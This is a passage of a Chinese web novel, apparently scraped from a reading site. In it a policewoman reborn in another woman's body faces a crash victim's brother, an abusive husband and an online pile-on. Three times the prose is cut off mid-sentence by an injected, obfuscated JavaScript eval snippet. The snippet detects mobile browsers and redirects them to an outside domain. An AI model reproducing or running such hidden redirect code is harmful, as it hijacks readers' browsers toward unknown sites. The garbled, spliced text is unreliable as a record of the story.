“那个3D打印机,阿嚏!四万多的那么贵,阿嚏!给你买来了,藏在奶奶那里。离我远点,别传染给你,阿嚏。” “你怎么做到的?就靠这一个小小的集成传感芯片?小叶进牛逼啊!” “起来起来,别睡了!给你带了一份虾饺赶紧去吃。” “喂,这个房间现在是我的了,把你这堆破烂清走。” “我网购了一副春联儿和几张剪纸……我就跟风应个景而已,你别露出这样的表情。” “你今天要是不答应跟我看《人皮鬼》,我是不可能放你去做事的。” “嚯!什么玩意儿!叶进,把你这破厕纸机械臂给我扔了!” “‘最年轻的研发总师’,嘿嘿,这杂志我昨晚紧急下单了两百份寄到家里了。” “喂,你怎么还没起床,许炼都把电话打到我手机上了。” …… 太阳一点一点西移,斑驳光影从墙壁最左侧的原木格栅板,至黑玻置物架,再至焦糖色半环沙发一路暗下去,最后堪堪来到了临窗的拐角书架。 叶进动作有些迟缓地抬手揉了把脸,拎起不知何时落在地上的车钥匙起身出去。 2. 辗转一个多小时出了地铁,李闻雯正闷头往邱家所在的小别墅区而去,突然听到似乎是向着自己的方向疾驰而来的轮胎刮地的声音。她太心事重重了,所以反应速度还是慢了,转身时车子已经近在咫尺了。她被逼得向斜后方疾退数步,最后跌坐在地。 大学教官教会了李闻雯伤人,也教会了李闻雯受伤,因此她虽然避无可避摔了一跤,但只有关节处的轻微擦伤,以及不可言说部位有可能的一点点挫伤,车祸造成的伤处均没有二次受伤。 李闻雯“嘶嘶”两声,反手揉着腰下两寸之地,抬眸向前望去。 最后一刻刹停在她面前的车是一辆科技感十足的黑色电动轿车。李闻雯不太认识车,但恰巧认识这款,因为她曾经协助抓过的一个嫌疑人就开的这款车。此车从内到外处处高科技,性价比极高,深受年轻时尚人士青睐。当然,所谓的性价比是与传统油车相较的性价比,这款车本身的价格对于李闻雯这种工薪阶层来说仍是相当不菲。 在李闻雯观察这款车以及其后刹车印迹的这段时间里,驾驶舱的车门迟迟没有打开,仿佛无人驾驶,一般情况下应该发生的对话“你没事儿吧?”、“你怎么开车的?!”迟迟没有发生。 李闻雯忍痛爬起来,瞧向端坐在车里的男人,倏地一愣,低低叫出了他的名字,叶进。 …… 李闻雯住院期间就开始接受调查了,因为警方需要确定车祸事故人为和意外的可能各占多少比重。但是不幸的是,“程松悦”“失忆”了。 某天午后,李闻雯睡眼惺忪中翻过身,瞧见病房门口站着一个戴着一副银框眼镜的生人。那人个头不低,得有一米八五以上,发色乌黑,瞳色稍浅,骨相立体,五官比例优越,是不折不扣的美人长相。 她哑着嗓子问他是谁,他恍若未闻,只用那仿佛结了霜茬的目光定定瞧着她,不动,也不答。她困惑地皱眉,片刻,表情僵住了。他与她瞧过的车祸照片里的人是如此相像!她愣愣地回望着他,一时间一个音都发不出来。 最后是邱迩的到来结束了两人的对视。她想叫住他,但他匆匆离去。 …… 李闻雯用平静的目光望着车里的青年,缓缓道:“开车的不是我。” 叶进冷冷望着她,一言不发,又重新启动车子。 李闻雯很清楚,即便开车的不是程松悦,程松悦也脱不开干系。 因为监控视频显示,车祸发生的前一分钟,她突然扬手给了驾驶人两个耳光。现在谁也说不清楚那两个耳光的分量有多重,也许确实就是意外——毕竟有救护车闯红灯,也许就是那两个耳光刺激下的驾驶人的报复。 总之,他们的车子最后避开了救护车,但冲向了路口等信号灯的人,最终造成了包括车内人员在内的两死两伤的局面。程松悦的同乘之人经抢救无效丧生,而叶进的同胞哥哥——一个在读博士生——也在这次事故中丧生。 在医院接受调查期间,李闻雯凭借其职业敏锐度,大致拼凑出了车祸死伤者及其家庭的基本情况。 两位死者,一位是原主的小学同学,叫张麦,是个高不成低不就的无业游民,与家里人关系淡薄,因为驾车的是他本人,所以他家里人当前的状态就是沉默等待调查结果;一位是个原本应有大好前途的生物学在读博士生,叫叶赫,叶赫的父母情绪非常激动,车祸之后均住院了,最后是他的同胞弟弟叶进处理的后事,他的同胞弟弟是高科技领域人才,也有大好前途。 两位伤者,一位是原主自己就不必说了,还有一位是个超市收银员,不过收银员只是腿部骨折,送医当天做完手术七天后就出院了。 叶进干净修长的手指不怎么着力地抓着方向盘。他不恨眼前这个人,或者说,谈不上恨,因为毕竟开车的的确不是她,毕竟十字路口的确有个救护车闯红灯。但是他又感觉,或许碾死她,自己心头绷得紧紧的黑压压沉甸甸的情绪才能松缓下来。谁让这个行车期间张牙舞爪扇人耳光的人最后活下来了,而只是遵守交规在路口等人行道绿灯的叶赫却当场去世。 李闻雯听着轿车电动马达的噪音头皮发麻,她用眼角的余光观察着两旁的逃生路线,同时极速转动大脑思索着应如何劝服叶进不要犯浑。 说她是职业属性带来的惯性也好,说她是最简单直白的“见色起意”也好——叶进真的生了一副轻易就能引人好感的好皮囊,她不愿意叶进一个有为青年因为一脚油门前程尽毁。 不过李闻雯所有的准备最终都未派上用场,因为叶进将车倒出去以后,并未再给她一个眼神,直接驾车离开了。 …… 叶进虽然从小到大总是“又闷又犟不听话”,但到底没有反社会的天分,先前那一脚急刹踩下去,他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094378|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这个事儿自己做不成,也只能算了。 3. 到家的时间也不算很晚,八点半而已,邱怀鸣却用“已婚妇女夜不归宿真不检点”的目光紧盯着李闻雯。李闻雯听闻有暴力倾向的人一般也都伴随有控制欲,重活一回亲眼见证了。 不过她并不准备理会他。她不清楚自己可以存活多久,或许只再多一晚,或许直到程松悦生命的尽头。所以昨晚睡觉前便给自己画了个道儿—— 六个月,与她最后行动不便蜗居在家,有心无力瞧着赵大良和李辉一日比一日困乏憔悴的时间相同。如果六个月后仍在,她就将向他们坦白,并以自己的方式过这位“程松悦”的日子。 所谓她“自己的方式”,首先就是与控制狂和家暴犯邱怀鸣离婚。 楼上邱迩的房间传出些不同寻常的动静。李闻雯在邱怀鸣黑沉沉的目光里上楼,左转敲响了邱迩的房门。李闻雯敲门并没有马上进去,直到门内一阵零零碎碎的响动后邱迩应了一句不耐烦的“门没锁”。 李闻雯进门便瞧出了异样。邱迩眼眶微红,一脑门儿汗,耳鬓前有一抹暗红——大约是不小心蹭上去的。她不做声上前,轻轻踩上垃圾桶的脚踏,瞥见垃圾桶里有一块沾着血迹和血痂的纱布。 “哪儿受伤了,给我看看。”李闻雯道。 邱迩把脸转开闭口不言。“程松悦”车祸醒来以后的种种言行令他十分不适,此刻这种不适达到了峰顶。程松悦从来不会用不疾不徐的声音说“你不要着急”、 “十一岁太小了”、“哪儿受伤了,给我看看”这种话。 李闻雯根据这些天的相处经验也没指望他回答,伸手便掀开了他没掖好的衣服。伤口在腰上,约莫一指长,不深,已经是半结痂状态了。邱迩大约是自己揣摩应该好得差不多了,洗澡时把纱布给硬揭下来了。 “怎么弄的?”李闻雯这样问着,瞧见被邱迩踢到桌下的医疗箱,蹲下将之拖出来打开。 邱迩仍是不肯说话,却突然愤怒,因为她表现得好像毫不知情,虽然她因为车祸“失忆”此刻也确实毫不知情。 他不耐烦地道,“我不想告诉你”,抬脚要走开,却又被硬扯回来圧在椅背上。 “……你不要着急,我或许很快就会想起有关于你的一切的。”李闻雯把邱迩的心思猜了个七七八八,神情讪讪的,她动作愈加轻柔地用碘伏棉签给他消毒,又问,“有什么需要我帮忙的吗?” 邱迩转头俯视神情无辜的“程松悦”深感失望。她这句过分小心的“有什么需要我帮忙的”跟以前那句满不在乎的“你能不能不要给我找麻烦”都如此令人反感。 李闻雯其实问出这句话就后悔了,因为太见外了。她确实是没有当过妈妈,但她有妈妈,赵大良在这种情况下不可能是这样的表现。她意图再多说几句补救一下,但是邱迩已经生气了,他皱眉快速地呛道,“不用你帮忙,没有需要你帮忙的。” 李闻雯重新给他粘好纱布,她抱歉地在他后脑勺上揉了揉,抬脚出去了。 …… 因为这一天经历太多累到了,李闻雯接下来哪儿也没去,在邱怀鸣的小别墅里老实休养了两周,顿顿大补,把原主程松悦吃得脸又圆了一圈儿,下巴颏儿彻底没了。但精气神总算是养回来了。 期间程祥上门来探望原主一回,不过说是来探望原主,没说几句话就开始劈头盖脸指责原主了。 大约是顾忌着毕竟是在邱怀鸣的地方,程祥很多话都没有说得太明白,但再加上住院期间程祥不经意间透漏的只言片语,也够李闻雯推导出程松悦父母这边大概的情况了。 程松悦的父亲程祥原本任职于本市一所工科大学,副教授职称,却在教职期间出轨了自己带的研究生。程松悦的母亲在把程祥的工作和研究生的学业全部闹没以后,仍然等不到人回心转意,不堪其辱登高一跃…… 由于这些事情都发生在程松悦记事以后,所以程松悦与“小后妈”势不两立,这些年没少折腾。程祥语焉不详,李闻雯便不知道程松悦到底都折腾出些什么事儿,但总之,折腾着折腾着,父爱也归零了。 李闻雯当警察期间没少处理各种狗屁倒灶的乌糟事儿,因此并没有太大的触动。 4. 这个部位另有其主 1. 眼睁睁看着程松悦的形象从大波浪骨感美人变成碎发小肉弹——李闻雯厌烦洗头,前几天把程松悦的长发剪了,当然,与控制狂邱怀鸣又是一顿不得体的磋磨——李闻雯实在心虚,再加上也确实需要强化力量,以应对邱怀鸣不定何时的发难,因此身体刚好转,她便拎着程松悦的健身包出门去了。 程松悦常去的健身房在市中心,地铁直达,十分方面,李闻雯便“顺理成章”地没有开车——程松悦的车是台颜色十分不友好的芭比粉甲壳虫。 李闻雯暗暗忖度,如果六个月后自己还在,这台甲壳虫得是黑色。 …… 西城公安分局附近也有健身房,叫“巨石”,风格十分古早——就是简简单单四面墙没什么风格的意思,仪器也都灰扑扑的,健身教练一个比一个难说话。 程松悦选的这家健身房,装修非常后现代化,几乎没有直墙,全是各种精巧的隔断墙,廊柱上东一榔头西一棒槌展示着赵大良会说是色丨情李辉会说是艺术的画作,健身教练虽有八块腹肌,说话却甜甜的。 “悦悦姐,你说要来,我火速就把其它邀约给推掉了。” “也不必,我自己练也可以。” “那怎么能行?!你车祸刚缓过来,不能盲目开练,得由专业的教练辅导。” “啊,那就有劳了。” 李闻雯感觉自己可能比这位教练还要专业,但她现在是程松悦,程松悦必须由人辅导。 “悦悦姐新发型真不错,那你去换衣服,我在外面等你?” “好的。” 李闻雯养病期间经常收到这位健身教练的热情邀约,教练一口一个“姐”叫得十分亲热,大力向她推荐健身房新购置的“天菜腰臀比辅助设备”,她好奇心难耐,衣服换好打了声招呼便上手操作了,结果不过就是旧设备套个新壳子再改个名字而已。 ——李闻雯确实是纯粹好奇,因为原主程松悦的腰臀比已经是“天菜”了,事实上李闻雯不得不撇掉程松悦那一抽屉的聚拢型内衣,重买缓压型超薄全罩杯内衣,以便把它们约束在常规范围内。 “悦悦姐,你用力的方式不对……” 李闻雯好商量地在教练的“指导”下更改持握的姿势,并捧场承认“果然应该这样”,之后便把教练丢在一旁认真锻炼起来——虽然是旧物改新称令人些许失望,但仍比“巨石”健身房的趁手许多。 期间,教练在她旁边走来走去,给水擦汗,并时不时地叫着“悦悦姐”指点一二。李闻雯承情接受他热情的“指点”,并逐渐开始理解健身房收费血贵的原因——最起码情绪价值是到位的。 直到,教练将手放在了她的臀部,并用情人间呢喃的亲密语气悄声向她报备,“悦悦姐,上次那个不懂事的女朋友我已经解决了,那我们什么时候再去开……” 当其时,李闻雯刚喝了一口水,她反手抓着教练的手,保持着拧紧瓶盖的姿态一动不动,大脑里缓缓打出一个加大加粗的问号—— 原主,劈腿?! 片刻,她仓促下了一个“当然如此”的结论—— 当然如此,那个家暴成性的男人头顶值得一片青青草原。 李闻雯没法跟教练老实说,这个屁丨股现在另有其主,她怕万一教练以为程松悦想结束关系,而又万一程松悦并不想结束关系。于是只好在万般纠结中留下一句“以后再说”,故作镇定地又练习了两组动作,借故离开。 …… 李闻雯住院时靠着一部手机把程松悦的履历大概捋过一遍。 程松悦大学本科毕业,之后只短暂工作过三个月就与高中同学邱怀鸣结婚了。两人刚结婚的时候也曾有过一段甜蜜期——邱怀鸣之前解释说程松悦喜怒无常,经常拉黑删除他,所以两人之间没有微信聊天记录,不过李闻雯在程松悦□□相册的隐藏文件夹里瞧见了早年两人出去旅游相拥亲吻的照片——但这甜蜜期极为短暂,甚至没能撑满程松悦八个月的孕期。邱怀鸣在程松悦怀孩子期间出轨了。 如果李闻雯不是借壳重生,她高低得感叹一句,“果真太阳底下无新事”。 也许是突然领悟“天下乌鸦一般黑”,也许是“本就”知道“天下乌鸦一般黑”,程松悦只象征性地闹了一小段时间,就与邱怀鸣“和好”了。但是只是“和好”,并非“和好如初”。酒柜上的两个摄像头和程松悦身上的疤瘌都能证明这段夫妻关系早就脱轨了。 李闻雯在查阅程松悦与他人的微信聊天记录时,曾经有过一些微妙的怀疑,她怀疑自己看到的对话内容不全,有部分敏感的对话被删除了。现在看来确实如此。邱怀鸣知道程松悦的手机密码,程松悦不得不时刻防着,因此她与这个健身教练的对话,与邱迩的某任辅导老师的对话,与张麦这位小学同学的对话,以及与一位账号叫“轻拢慢捻”的微友的对话确实是不全的。她与他们应该是有一些……不清不楚关系的。 推断出这样的结果,李闻雯很是头大。 2. “盯——”一条来自安姚的新消息。在两周内拒绝两次之后,安姚终于回复“程松悦”的饭约,表示自己此刻恰好就在市中心的国贸附近,如果“程松悦”不排斥泰国菜的话,那可以一道。 李闻雯立刻停下迈向地铁口的脚步,她一边假惺惺问是不是那家“金泰兰”,一边转身轻车熟路地向“金泰兰”的位置走去。 李闻雯在着意与安姚混熟,以便通过安姚打探家里的情况。她恨不得能天天回家盯着,但那样太奇怪了,因为在她匆忙炮制的故事里,“程松悦”与李闻雯虽然认识数年,但并非常来常往的朋友。 “金泰兰”靠窗的座位上,安姚点完自己要吃的两道菜,将手机推向“程松悦”。 “我听人推荐过这里的熔岩虾球和辣炒海鲜拼盘,那我就先点这两道,”李闻雯低着头假装没看到安姚推来的手机,用自己的手机火速扫码加单,然后直接刷脸付款,不给她推辞的机会,“雯雯的爸妈都还好吧?” 当前“程松悦”与安姚之间的联系只有李闻雯,所以“借”李闻雯爸妈的近况打开话题并不突兀,李闻雯如此琢磨着,用殷切的目光望着安姚。 “你太客气了,那下回我请回你。”安姚顿了顿,“她爸妈就还是那样吧,这种事情回过神要几年,熬过去也要几年。我上周末去时,她叔一家在,昨天去时,她小姨和表妹在……反正常有人陪着他们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094379|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李闻雯的回复微有迟滞,“……常有人陪着就好。” “我听雯雯说你自己在做独立设计师品牌服装,做这个应该很辛苦吧,一出圈立刻就可能会被同行抄袭。”李闻雯低头挖一勺泰奶雪糕送至唇边。 “目前倒还没有这方面的麻烦,因为还没有做出能出圈的款。不过想来以后也不会有太大问题,因为雯雯以前教过我区块链存证,比较重要的设计都可以先上传区块链。” “那说不定以后告抄袭的收入也能是一笔不菲收入。” 安姚闻言一愣,感觉“程松悦”与李闻雯不止性格有些仿像,点菜的口味有些仿像,就连开玩笑的方式都有些仿像。不过这也说得过去,因为“物以类聚,人以群分”——她自行解释。 “我不知该不该说‘借你吉言’。”安姚低头扯了扯唇角,“我刚听说你在附近健身,你那健身房能推荐一下吗?” “一般,别去。”李闻雯用食指指关节轻轻磕了一下桌子,斩钉截铁道。 安姚一愣,瞧着李闻雯认真的模样,缓缓点头。 3. 与安姚分开以后,李闻雯瞧着天色还早,又顺路拐去了医院。 前两天大都有个新闻,一位民警下班回家途中偶遇通缉要犯,在与之搏斗中身中数刀,几乎成了个血葫芦,所幸同事支援及时,未有生命危险,当前在二院住院。 李闻雯一眼就认出了新闻里的民警,是她以前的同事,比她早两年毕业,叫向戎戈。 深秋时节,两场暴风骤雨后,医院里就人满为患了。李闻雯在人群里腾挪,很是费了一番功夫才寻到向戎戈的病房。她眼下披着程松悦的皮,没有理由进去探望,因此只能隔着门玻璃往里头瞧着。 向戎戈面色发白嘴唇发青,但仍不耽误倚着枕头跟前来探望的同事朋友吹嘘,说自己狭路相逢面对歹徒时有多临危不惧以及刀子捅过来时辗转腾挪有多矫健灵敏。 “……没吓哭就不错了,什么时候都改不了这个吹牛的毛病,吃什么药能给他治治。” 李闻雯轻咳两声,悄声吐槽,面上露出轻松的笑意。 一个耳熟且自带威严的声音在李闻雯背后响起—— “姑娘?是来探望小向吗?怎么不进去?” 李闻雯闻声缓缓回头,向以前的领导尴尬一笑,讪讪留下一句“走错地儿了”,埋头匆匆走了。 …… 李闻雯回到门诊楼重新挤着涌进来的人群往外时,不慎与一个个子很高的青年撞了个满怀。她皱眉阅读着手机里刚刚收到的信息随口道了句歉向后避去,但青年却像是突然被人抽去了筋骨,抵着她的身体往前倒,与此同时,伴随着几声惊讶的 “咦”、“欸”、“啊”,两人周围突然空出来半米。 李闻雯立刻就反应过来什么情况了,她伸手揽着青年的腰背,在路人的帮助下勉力把人撑住,猝然回头向着问诊台的方向吆喝,“救命!这里有人要昏倒了!” 医生和护士快步奔过来时,李闻雯低头瞧清了青年的长相,额发蓬乱鸦黑,皮肤雪白。 她倏地一愣,继而百感交集。竟然是叶进。 大都人口何止千万,茫茫人海,巧合得都有些荒谬了。 5. 可真是“波澜壮阔”的一生 叶进前一晚饮酒过量,醒来就一直昏昏沉沉地不舒服——他是在浴室醒来的,之后四肢渐渐开始发酸发胀,脑袋更是重得几乎抬不起来。他单手杵着洗手池简单洗漱了一番,揉着脖子出了浴室,给自己煮了两个鸡蛋,回复许炼的信息诓骗他自己现在正在丝弗拉裂谷浮潜,之后恹恹地裹着薄被又倒在沙发上睡了个不舒服的回笼觉。再度醒来先前的症状不但没有减轻的迹象,视野都有些迷糊了,他直觉自己要是再不出门寻医可能要出事儿了,这才烦躁地出门。这也是他最近十多天里第一回出门。 鹿鸣公寓至二院本就仅有十分钟的车程,大约司机瞧着叶进眉眼乌黑薄唇煞白的模样实在凄惨,六分钟就飚到了。叶进昏头转向从出租车上挪下来时,司机不放心地一再问需不需要帮把手,他眼睑艰难抬起来,比量着停车位置与门诊楼二十来米的距离,比了个OK的手势,哑着几乎说不出话的嗓子说“没事儿”。结果一进门诊楼,内外温差一夹击,他的大脑“嗡”地一声罢工了。 “……没有杂音就是肺没事儿是吧,是退烧了就行了吧……他家里有事家人可能不方便过来,对,我认识他……他的身份证,你等下我摸摸他口袋,也许他出门带了……” 他昏昏沉沉中听到有个声音在一旁说话,声音突然近了,清晰了,是那人侧过身靠近他,摸走了他口袋里的身份证,又轻手轻脚取下了他的眼镜。 大概是因为高烧大脑宕机,那些清醒时锥心刺骨的“失去”就消失了,药剂一点一点流进血管里,叶进在各种噪音中靠着身旁的人低垂着脑袋沉沉睡去——医院门诊人满为患没有床位。 李闻雯待到叶进一点动静都没有了悄然松了口气。她小心翼翼调整着自己的坐姿,以便叶进能靠得更舒服,而后眼皮低垂愣愣瞧着叶进眼尾、耳根、脖颈和指尖因高烧透出的薄红,心神倏地有些不稳,但不过片刻就又艰难把持住了。 “……为什么会出现这样的状况,我有没有可能是出现了副人格,我到底是谁……去精神科看看也未尝不可啊。” 李闻雯有些狼狈地移开目光,不出声地碎碎念着转移自己的注意力。在医院这么“科学”的地方,她对自己不科学的存在突然感到又焦虑又心虚。 之前住院的时候倒没有这些多余的情绪,那时候只庆幸得了个机会可以再回家看看——哪怕已经提前做足了准备,她最后仍走得不忍心也不放心。但日子一天天过去,她驻扎在原主身体里纹丝不动,就开始有些难受了。 李闻雯不知道自己到底是“租客”还是“新房东”,但她深深明白,如果贸然出手改变了原主的生活轨迹,那将不可能只是改变原主一个人的生活轨迹。但一直按兵不动她又是煎熬的。前不久,她给自己划了一条线,六个月。但这条线其实并无科学性或合理性。而且六个月也还是有些漫长了,因为原主糟心的因果线太多了,当下正在一一寻上门。 李闻雯烦躁地叹息,又不自觉解锁手机去读自下午起收到的一连串信息。信息均来自未存号码,偶有晓之以情动之以理的说教,大多是酣畅淋漓的唾骂。似乎是有人在网上爆料了什么,原主程松悦突然成了众矢之的。李闻雯去某博和某书搜索了一下程松悦的名字,并未见相关信息,也只能暂且置之不理。 外面天光渐渐模糊,风声也越来越震耳,片刻,玻璃窗上开始有劈里啪啦的落雨声。叶进越来越重,压得李闻雯已经有些坐不住了,她慢慢转动脑袋四顾,目之所及仍然没有床位,大约是要等到深夜了。不过那时叶进的吊针也就应该滴完了。李闻雯这样估摸着,眼皮不着力地自然垂下,目光落在叶进微偏微折的皓白脖颈上,又立刻移开。 一条过道之外,做着卷子的高中生对着叶进悄悄举起手机,李闻雯留意到了,抬手遮住了叶进的脸。高中生翻了个“姐姐真小气”的白眼,不甘不愿地放下手机。李闻雯指了指她的吊针,示意再不叫护士来拔针就要回血了,高中生一惊赶紧向护士举手。护士瞧过来一眼,顺手取了一瓶新药过来,给高中生拔了针,又核对名字给叶进续了药。 “你胸口也不舒服?那刚刚医生问你怎么不说?你坐这里别动我再去问问。” “呔,我能编这种不吉利的瞎话?我真在医院里打点滴,我迎风倒的体质谁人不知。” “最终的报表是我做的没错,但你说的那份数据是小陈给的,你得去问他。” “闺女,上完课了?饿不饿?给你留了寿司。嗯,我在你王姨家打麻将呢。” …… 时间在医院的各种白噪音里一寸一寸溜走,九点四十五分,李闻雯昏昏欲睡中收到邱迩迟到四个小时的回复信息——“知道了。”四个小时前,她特意向邱迩报备,路遇熟人晚点回家。 邱怀鸣突然打来电话,极近处连续不断的嗡嗡声响惊动了叶进,他喉咙里低低哑哑响了一声,人也向后退去。李闻雯掐了邱怀鸣的电话,抓起围巾捂住口鼻,果断起身向外走。经过护士台时,她反手指着叶进的方向,轻声道:“最后一瓶药就要滴完了,差不多十五分钟后就可以拔针了。” 小护士顺着她的指引一瞥,翻出单子瞧了一眼,核对了叶进的名字以后点了点头。 李闻雯快步走出门诊大厅,邱怀鸣再度打来电话,她深吸一口气接通,耳边是邱怀鸣平静的威胁,“程松悦,我的忍耐是有限的。” 李闻雯真诚反问:“你忍耐我什么了?” 邱怀鸣相对于做口舌之争,更喜欢直接动手,他紧握着水杯竭力按捺着怒火,问:“绿瓣上的帖子是怎么回事?我不管你在哪儿,立刻给我回来!” 李闻雯得了他的指引,懒得跟他废话,直接就把电话挂了。她很快就在绿瓣本地板块里看到那篇帖子,是一个叫“瞧瞧我发现了个什么东西”的新注册的用户爆料的。 爆料帖里贴出了程松悦的照片,不得不说,真的是很漂亮很上镜的一张脸,而且保养得当,几乎没有什么细纹。假如跟二十六岁的李闻雯本人站在一起,根本分不清谁大谁小。不过美中不足的是这张照片被人做了一些些“艺术加工”——那细白的额头上粗笔写着“高人一等”的花体字。 “东西”说,照片里的这位姐姐可太令人下头了,只不过因为柜姐转身服务了别的客户一下——那位客户似乎也是柜姐的老客户——她就觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094380|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己被怠慢了,又是要求柜姐道歉,又是要求客户经理道歉,还在争执中大言不惭称“你不服是不是,但人就是分三六九等的”。我可谢谢你,你就是那个“九等姐”。 在这位“东西”的楼中楼里,又有人贴出了两张照片,是一场车祸的现场照片。照片里程松悦尚在副驾驶里卡着,没被拍到正脸,但车头前方的叶赫却被拍得清清楚楚。两个小时后,叶赫的高学历背景也被扒出来了——叶赫的长相辨识度极高,想必与他同校过的无有不认识的。叶赫的各路校友惊闻噩耗纷纷前来默哀,即便楼中楼的主人说开车的并不是这位“九等姐”,程松悦仍旧被扎扎实实地问候了列祖列宗。 程松悦的个人信息早在132楼就出现了,而此刻义愤填膺的绿友们一人一把柴火已经把原帖垒到了944楼。大部分是不带脏字却字字都脏的唾骂,却也不乏“老同学”、“旧街坊”各种言之凿凿的爆料,说程松悦初中时把后妈从楼梯上推下来致使后妈流产刮宫多少年过去了再没怀上过、高中时划烂同学两千多块的裙子拒不承认事情闹大到了警察那里差点被退学、大学时向男生索取昂贵礼物却不承认交往关系以致男生酒后差点投河等等。李闻雯一路走一路翻着楼层走马观花地阅读,只翻到三分之一就把手机给撇口袋里了。 “可真是‘波澜壮阔’的一生啊。”李闻雯很难不对原主开嘲讽。她在深夜湿意凛然的秋风里抬手抹了把脸,仿佛被网上的唾沫星子溅到了。 “滴滴——”一辆驮着外卖箱的电动车从李闻雯身后窜出来,外卖员回头狠狠盯了李闻雯一眼,心中因她走路慢吞吞又几乎走到了路中间颇为不满,但他没工夫刹车跟她计较,因为外卖软件里的时间滴滴答答一刻不肯停歇,他得奔命去。 李闻雯用略带歉意的目光回应外卖员责难的一瞥,然后讪讪地去掏兜儿。她刚才一时气愤把手机扔进口袋里,但转念又想起还得叫车…… 结果掏出了一副用软布包裹着的银边眼镜——软布是小护士友情赠送的。 李闻雯没忍住低头吐出一句脏话,然后转身往回走。 …… 叶进的度数不高 ,也就一百多度,戴上眼镜视物更清晰,但是不戴眼镜也并不会影响日常生活。 “服药期间尽量不要熬夜哦,另外也务必得戒酒,以防出现药物反应。切记。”大约是因为叶进生得实在好,亦或是叶进当前的病弱破碎感实在惹人怜爱,小护士叮嘱的语气格外和蔼,她抬头瞧见李闻雯回来,又轻声道,“你朋友回来了。” 叶进闻声转头面无表情地望向“程松悦”。其实她刚刚离去时他就认出她来了。他一度想碾死她,对她的印象不可谓不深刻。 李闻雯正趴在导诊台前假作尿急央求护士帮忙去里面送副眼镜,突然感觉头皮发麻,她慢吞吞转过脑袋,与十米之遥的叶进对视。 她从出去到进来也就不到十分钟,原本不应该跟他撞见——她给他挑的位置背风,而且看不到导诊台。但他可能拨动了软管的滚珠,剩下的那一大口药滴得快了。 李闻雯没说什么,她把眼镜往前推了推,转身快步离开。 …… 6. 我以为只有小孩子才不长记性 1. 李闻雯不太清楚这种网爆的传播力和杀伤力,因此在回家的车上,忽略不断跳进来的辱骂短信和骚扰电话,低头给邱迩编辑信息:帖子里的事情你们学校有人讨论吗?有没有人找你麻烦? 然而直到回到家,邱迩都没有回复。 李闻雯掌根撑着斗柜在玄关换鞋时,手机屏幕一亮再亮,她漫不经心瞧了眼时间——已经十一点过十分了,之后便直接关机了。 邱怀鸣和邱迩都没睡,一个在跟人讲电话,一个正送家教老师离开。 “邱迩妈妈再见。”老师经过玄关时,礼貌道别。 “欸,再见,郑老师辛苦了。”李闻雯也客气道。 邱怀鸣讲着电话用手指着邱迩,不许他上楼,李闻雯便也与邱迩站在一起等着他打完那通电话。邱怀鸣跟外人交流时就披上了人皮,即便偶有意见不合,也能用春风化雨不急不躁的方式解释、辩论、说服。 邱怀鸣讲完电话,下巴向着邱迩微微一扬,给他下达了指令,“跟你叔叔说过了,不等到明年三月份了,下个月签证下来你就走。到了那边先补习,等着三月份入学。” 邱迩低着头用沉默来表达抵抗的态度。 然而邱怀鸣并不在意他是什么态度,反正这个家里他说一不二,自来如此。 “上楼洗漱去吧。”他这样不咸不淡说着,转向李闻雯,那倨傲的眼神仿佛在说,“很好,解决完他了,现在轮到你了。” 李闻雯两手交叉揣于胸前,忍不住勾起了唇角。 邱迩狠狠抠了一把手背,微微抬起头,说:“我不去。” 邱怀鸣顾不得理会李闻雯唇畔的挑衅,重又看向邱迩,目光一凝,语气非常平静,“我没听清楚,你再说一遍。” 但是邱迩对邱怀鸣的畏惧是日积月累形成的,那好不容易鼓起来的勇气只够挤出一遍“我不去”三个字。他转过脑袋避开邱怀鸣的目光,指甲扎进掌肉里,脚下一步不动。 邱怀鸣松了松领带,皮笑肉不笑道:“邱迩,你可能没搞清楚,你连签字的资格都没有,当然就也没有说不的资格。” 邱迩闻言仍是不动,偏执地站在原地,但眼眶却渐渐红了。他知道邱怀鸣的威胁一向不止是威胁。 “我跟你妈有话要说,上楼洗漱睡觉,别让我再催第三遍。”邱怀鸣道。 “我不签字你走不了,上去洗漱吧。”李闻雯也道,用乍一听以为是附和的平静语气表达着截然相反的意思。 邱迩一愣,终于瞧向李闻雯。李闻雯伸手轻轻拍了拍他的肩膀,一时颇多感概。原主程松悦可真是个废物啊,她一定是一点安全感都不曾给过邱迩,不然不至于邱迩孤军奋战中,即便节节败退,也未有向她求援的意思。 邱怀鸣目不转睛瞧着跟他唱反调的“程松悦”,感觉自己胸口和掌心都升起几乎产生痛意的灼热感。他想揪着“程松悦”的头发把她杵到床头,用最下作的脏话侮辱她,听她一遍一遍承认自己是个“珰丨妇” 